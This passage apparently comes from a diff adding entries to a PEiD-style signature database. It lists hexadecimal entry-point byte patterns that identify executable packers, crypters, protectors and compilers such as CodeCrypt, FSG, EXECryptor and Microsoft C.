+signature = E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F +ep_only = true + +[CodeCrypt v0.15b] +signature = E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F +ep_only = true + +[CodeCrypt v0.16b - v0.163b] +signature = E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F +ep_only = true + +[COP v1.0 (c) 1988] +signature = BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90 +ep_only = true + +[Copy Protector v2.0] +signature = 2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F +ep_only = true + +[CPAV] +signature = E8 ?? ?? 4D 5A B1 01 93 01 00 00 02 +ep_only = true + +[CrackStop v1.01 (c) Stefan Esser 1997] +signature = B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC +ep_only = true + +[Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen] +signature = B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9 +ep_only = true + +[Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen] +signature = B8 00 00 42 00 31 DB 43 EB 58 +ep_only = true + +[Crunch/PE v1.0.x.x] +signature = 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85 +ep_only = true + +[Crunch/PE v3.0.x.x] +signature = EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74 +ep_only = true + +[Cruncher v1.0] +signature = 2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB +ep_only = true + +[CrypKey v5 - v6] +signature = E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06 +ep_only = true + +[CrypKey V5.6.X -> Kenonic Controls Ltd.] +signature = E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8 +ep_only = true + +[CrypKey V5.6.X DLL -> Kenonic Controls Ltd.] +signature = 8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8 +ep_only = true + +[CrypKey V6.1X DLL -> CrypKey (Canada) Inc.] +signature = 83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8 +ep_only = true + +[CRYPT Version 1.7 (c) Dismember] +signature = 0E 17 9C 58 F6 ?? ?? 74 ?? E9 +ep_only = true + +[CRYPT Version 1.7 (c) Dismember (COM)] +signature = 0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60 +ep_only = true + +[CRYPT Version 1.7 (c) Dismember (EXE)] +signature = 0E 17 9C 58 F6 ?? ?? 74 ?? E9 +ep_only = true + +[CryptCom v1.1] +signature = BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3 +ep_only = true + +[CrypWrap vx.x] +signature = E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E +ep_only = true + +[Cygwin32] +signature = 55 89 E5 83 EC 04 83 3D +ep_only = true + +[DBPE vx.xx] +signature = EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED +ep_only = true + +[DEF v1.0] +signature = BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 +ep_only = true + +[dePACK -> deNULL] +signature = EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00 +ep_only = true + +[Dev-C++ v4] +signature = 55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF +ep_only = false + +[DIET v1.00d] +signature = FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 +ep_only = true + +[DIET v1.44, v1.45f] +signature = F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52 +ep_only = true + +[Ding Boy's PE-lock Phantasm v0.8] +signature = 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00 +ep_only = true + +[Ding Boy's PE-lock Phantasm v1.0 / v1.1] +signature = 55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC +ep_only = true + +[Ding Boy's PE-lock v0.07] +signature = 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00 +ep_only = true + +[DJoin v0.7 public (RC4 encryption) -> drmist] +signature = C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 +ep_only = true + +[DJoin v0.7 public (xor encryption) -> drmist] +signature = C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 +ep_only = true + +[DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995] +signature = BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7 +ep_only = true + +[Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme] +signature = B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04 +ep_only = true + +[DSHIELD] +signature = 06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E +ep_only = true + +[dUP 2.x Patcher --> www.diablo2oo2.cjb.net] +signature = 8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9 +ep_only = false + +[DxPack 1.0] +signature = 60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 +ep_only = true + +[E language] +signature = E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF +ep_only = true + +[E.S.O. Eclipse Operating System v.2.08 + DOS Extender] +signature = 8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9 +ep_only = true + +[E2C by DoP] +signature = BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3 +ep_only = true + +[Elicense System V4.0.0.0 -> ViaTech Inc] +signature = 00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00 +ep_only = false + +[Embed PE v1.13 -> cyclotron] +signature = 83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 +ep_only = true + +[EmbedPE v1.24 -> cyclotron] +signature = 83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00 +ep_only = true + +[EmbedPE V1.X -> cyclotron] +signature = 83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00 +ep_only = true + +[EncryptPE 1.2003.5.18 -> WFS] +signature = 60 9C 64 FF 35 00 00 00 00 E8 79 +ep_only = true + +[EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS] +signature = 60 9C 64 FF 35 00 00 00 00 E8 7A +ep_only = true + +[EncryptPE V2.2006.1.15 -> WFS] +signature = 45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35 +ep_only = false + +[EncryptPE V2.2006.7.10 -> WFS] +signature = 60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 +ep_only = true + +[Enigma protector 1.10/1.11 -> Vladimir Sukhov] +signature = 60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 +ep_only = false + +[ENIGMA Protector V1.0-V1.2-> Sukhov Vladimir] +signature = 60 E8 00 00 00 00 5D 83 ?? ?? 81 +ep_only = true + +[ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir] +signature = 60 E8 00 00 00 00 5D 83 C5 FA 81 +ep_only = true + +[ENIGMA Protector V1.1-> Sukhov Vladimir] +signature = 60 E8 00 00 00 00 5D 83 ?? ?? 81 +ep_only = true + +[ENIGMA Protector V1.1-V1.2-> Sukhov Vladimir] +signature = 60 E8 00 00 00 00 5D 83 ED 06 81 +ep_only = true + +[EPW v1.2] +signature = 06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E +ep_only = true + +[EPW v1.30] +signature = 06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E +ep_only = true + +[Escargot V0.1 -> ++Meat] +signature = EB 04 40 30 2E 31 60 68 61 +ep_only = true + +[Exact Audio Copy -> (UnknownCompiler)] +signature = E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = true + +[Excalibur 1.03 -> forgot] +signature = E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 +ep_only = true + +[EXE joiner -> Amok] +signature = A1 14 A1 40 00 C1 E0 02 A3 18 A1 40 +ep_only = true + +[Exe Locker 1.0 -> IonIce] +signature = E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 +ep_only = true + +[EXE Manager Version 3.0 1994 (c) Solar Designer] +signature = B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2 +ep_only = true + +[EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE] +signature = E8 04 00 00 00 83 60 EB 0C 5D EB 05 +ep_only = true + +[Exe Shield v2.7] +signature = EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00 +ep_only = true + +[Exe Shield vx.x] +signature = 65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00 +ep_only = true + +[EXE Stealth v2.7] +signature = EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40 +ep_only = true + +[EXE Stealth v2.71] +signature = EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40 +ep_only = true + +[EXE Stealth v2.72] +signature = EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 +ep_only = true + +[EXE Stealth v2.74 -> WebToolMaster] +signature = EB 00 EB 17 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 90 E8 00 00 00 00 5D +ep_only = true + +[EXE2COM (Encrypted without selfcheck)] +signature = B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6 +ep_only = true + +[EXE2COM (Limited)] +signature = BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20 +ep_only = true + +[EXE2COM (Method 1)] +signature = 8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3 +ep_only = true + +[EXE2COM (Packed)] +signature = BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB +ep_only = true + +[EXE32Pack v1.3x] +signature = 3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED +ep_only = true + +[EXECryptor v1.3.0.45] +signature = E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 +ep_only = true + +[EXECryptor V2.1X -> SoftComplete.com] +signature = E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 +ep_only = true + +[EXECryptor vx.x.x.x] +signature = E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 +ep_only = true + +[EXELOCK 666 1.5] +signature = BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9 +ep_only = true + +[ExeLock v1.00] +signature = 06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3 +ep_only = true + +[EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21] +signature = 8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB +ep_only = true + +[EXEStealth 2.75 -> WebtoolMaster] +signature = 90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 +ep_only = true + +[ExeTools v2.1 Encruptor by DISMEMBER] +signature = E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74 +ep_only = true + +[eXPressor 1.1 -> CGSoftLabs] +signature = E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 +ep_only = true + +[eXpressor v1.2 -> CGSoftLabs] +signature = 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 +ep_only = true + +[eXPressor V1.3 -> CGSoftLabs] +signature = 55 8B EC 83 EC ?? 53 56 57 EB 0C 45 +ep_only = true + +[eXpressor v1.4.5 -> CGSoftLabs] +signature = 55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C +ep_only = true + +[eXpressor v1.4.5 -> CGSoftLabs] +signature = 55 8B EC 83 EC ?? 53 56 57 83 65 DC 00 F3 EB 0C +ep_only = true + +[FASM v1.3x] +signature = 6A ?? FF 15 ?? ?? ?? ?? A3 +ep_only = true + +[FileShield] +signature = 50 1E EB ?? 90 00 00 8B D8 +ep_only = true + +[Free Pascal v0.99.10] +signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29 +ep_only = true + +[Free Pascal v1.0.10 (win32 GUI)] +signature = C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 +ep_only = false + +[FreeBASIC v0.11] +signature = E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5 +ep_only = true + +[FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)] +signature = 55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3 +ep_only = false + +[FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)] +signature = C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00 +ep_only = false + +[Freshbind v2.0 -> gFresh] +signature = 64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00 +ep_only = true + +[from NORMAN Anti-Virus Utilites] +signature = E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A +ep_only = true + +[Frusion -> biff] +signature = 83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14 +ep_only = true + +[FSG 1.31 -> dulek/xt] +signature = BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 +ep_only = true + +[FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)] +signature = EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt] +signature = EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt] +signature = EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? F6 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt] +signature = BB D0 01 40 ?? BF ?? 10 40 ?? BE +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt] +signature = E8 01 00 00 00 ?? ?? E8 ?? 00 00 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = 87 FE ?? 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = true + +[FSG v1.33] +signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 +ep_only = true + +[FSG v2.0 -> bart/xt] +signature = 87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13 +ep_only = true + +[Gamehouse Media Protector Version Unknown] +signature = 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00 +ep_only = true + +[Gardian Angel 1.0] +signature = 06 8C C8 8E D8 8E C0 FC BF ?? ?? EB +ep_only = true + +[Go32Stub v.2.00 DOS-Extender] +signature = 0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80 +ep_only = true + +[Go32Stub v.2.00T DOS-Extender] +signature = 0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C +ep_only = true + +[Guardant Stealth aka Novex Dongle] +signature = 55 8B EC 83 C4 F0 60 E8 51 FF FF FF +ep_only = true + +[HACKSTOP v1.00] +signature = FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F +ep_only = true + +[HACKSTOP v1.18] +signature = 52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB +ep_only = true + +[HACKSTOP v1.19] +signature = 52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB +ep_only = true + +[HEALTH v.5.1 by Muslim M.Polyak] +signature = 1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26 +ep_only = true + +[ILUCRYPT v4.015 [exe]] +signature = 8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7 +ep_only = true + +[iLUCRYPT v4.018 [exe]] +signature = 8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81 +ep_only = true + +[Inbuild v1.0 [hard]] +signature = B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2 +ep_only = true + +[Inno Setup Module] +signature = 55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF +ep_only = false + +[Install Stub 32-bit] +signature = 55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29 +ep_only = true + +[InstallShield 2000] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57 +ep_only = true + +[JDPack] +signature = 60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45 +ep_only = true + +[KGCrypt vx.x] +signature = E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74 +ep_only = true + +[Krypton v0.2] +signature = 8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04 +ep_only = true + +[kryptor 5] +signature = E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0 +ep_only = true + +[kryptor 6] +signature = E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02 +ep_only = true + +[LamerStop v1.0c (c) Stefan Esser] +signature = E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA +ep_only = true + +[Lattice C v1.01] +signature = FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB +ep_only = true + +[Lattice C v3.0] +signature = FA B8 ?? ?? 8E D8 B8 ?? ?? 8E +ep_only = true + +[LCC Win32 v1.x] +signature = 64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50 +ep_only = true + +[LCC-Win32] +signature = 64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40 +ep_only = true + +[Libraries by John Socha] +signature = BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21 +ep_only = true + +[Lockless Intro Pack] +signature = 2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85 +ep_only = true + +[LSI C-86 Run-Time Libray] +signature = B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC +ep_only = true + +[MASM / TASM] +signature = 6A 00 E8 ?? ?? 00 00 A3 ?? 32 40 00 E8 ?? ?? 00 00 +ep_only = true + +[MEGALITE v1.20a] +signature = B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90 +ep_only = true + +[MESS v1.20] +signature = ?? ?? ?? ?? FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6 +ep_only = true + +[MetaWare High C + Phar Lap DOS Extender 1983-89] +signature = B8 ?? ?? 8E D8 B8 ?? ?? CD 21 A3 ?? ?? 3C 03 7D ?? B4 09 +ep_only = true + +[MetaWare High C Run-Time Library + Phar Lap DOS Extender 1983-89] +signature = B8 ?? ?? 50 B8 ?? ?? 50 CB +ep_only = true + +[Metrowerks CodeWarrior v2.0 (Console)] +signature = 55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 +ep_only = false + +[Mew 10 exe-coder 1.0 -> Northfox [HCC]] +signature = 33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70 +ep_only = true + +[MEW 11 SE v1.2 -> Northfox[HCC]] +signature = E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00 +ep_only = true + +[MEW 5 1.0 -> Northfox] +signature = BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 +ep_only = true + +[MicroJoiner 1.1 -> coban2k] +signature = BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11 +ep_only = true + +[MicroJoiner 1.5 -> coban2k] +signature = BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF +ep_only = true + +[MicroJoiner 1.6 -> coban2k] +signature = 33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B +ep_only = true + +[Microsoft Basic Compiler v5.60 1982-97] +signature = 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 33 DB BA ?? ?? 9A ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 33 DB +ep_only = true + +[Microsoft C] +signature = B4 30 CD 21 3C 02 73 ?? B8 +ep_only = true + +[Microsoft C (1988/1989)] +signature = B4 30 CD 21 3C 02 73 ?? CD 20 BF ?? ?? 8B ?? ?? ?? 2B F7 81 ?? ?? ?? 72 +ep_only = true + +[Microsoft C for Windows (1)] +signature = 33 ED 55 9A ?? ?? ?? ?? 0B C0 74 +ep_only = true + +[Microsoft C for Windows (2)] +signature = 8C D8 ?? 45 55 8B EC 1E 8E D8 57 56 89 +ep_only = true + +[Microsoft C Library 1985] +signature = BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 81 C4 ?? ?? FB 73 +ep_only = true + +[Microsoft C v1.04] +signature = FA B8 ?? ?? 8E D8 8E D0 26 8B ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 04 D3 E3 EB +ep_only = true + +[Microsoft CAB SFX] +signature = E8 0A 00 00 00 E9 7A FF FF FF CC CC CC CC CC +ep_only = true + +[Microsoft FORTRAN] +signature = FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? B9 ?? ?? 9A ?? ?? ?? ?? 80 ?? ?? ?? ?? 74 ?? E9 +ep_only = true + +[Microsoft Visual Basic v5.0/v6.0] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00 +ep_only = true + +[Microsoft Visual Basic v6.0 DLL] +signature = 5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF +ep_only = true + +[Microsoft Visual C 2.0] +signature = 64 A1 00 00 00 00 55 8B EC 6A FF 68 +ep_only = true + +[Microsoft Visual C v2.0] +signature = 53 56 57 BB ?? ?? 